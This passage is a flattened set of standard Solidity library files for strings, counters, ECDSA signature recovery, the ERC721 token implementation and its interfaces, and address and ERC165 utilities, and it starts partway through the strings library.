bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
|
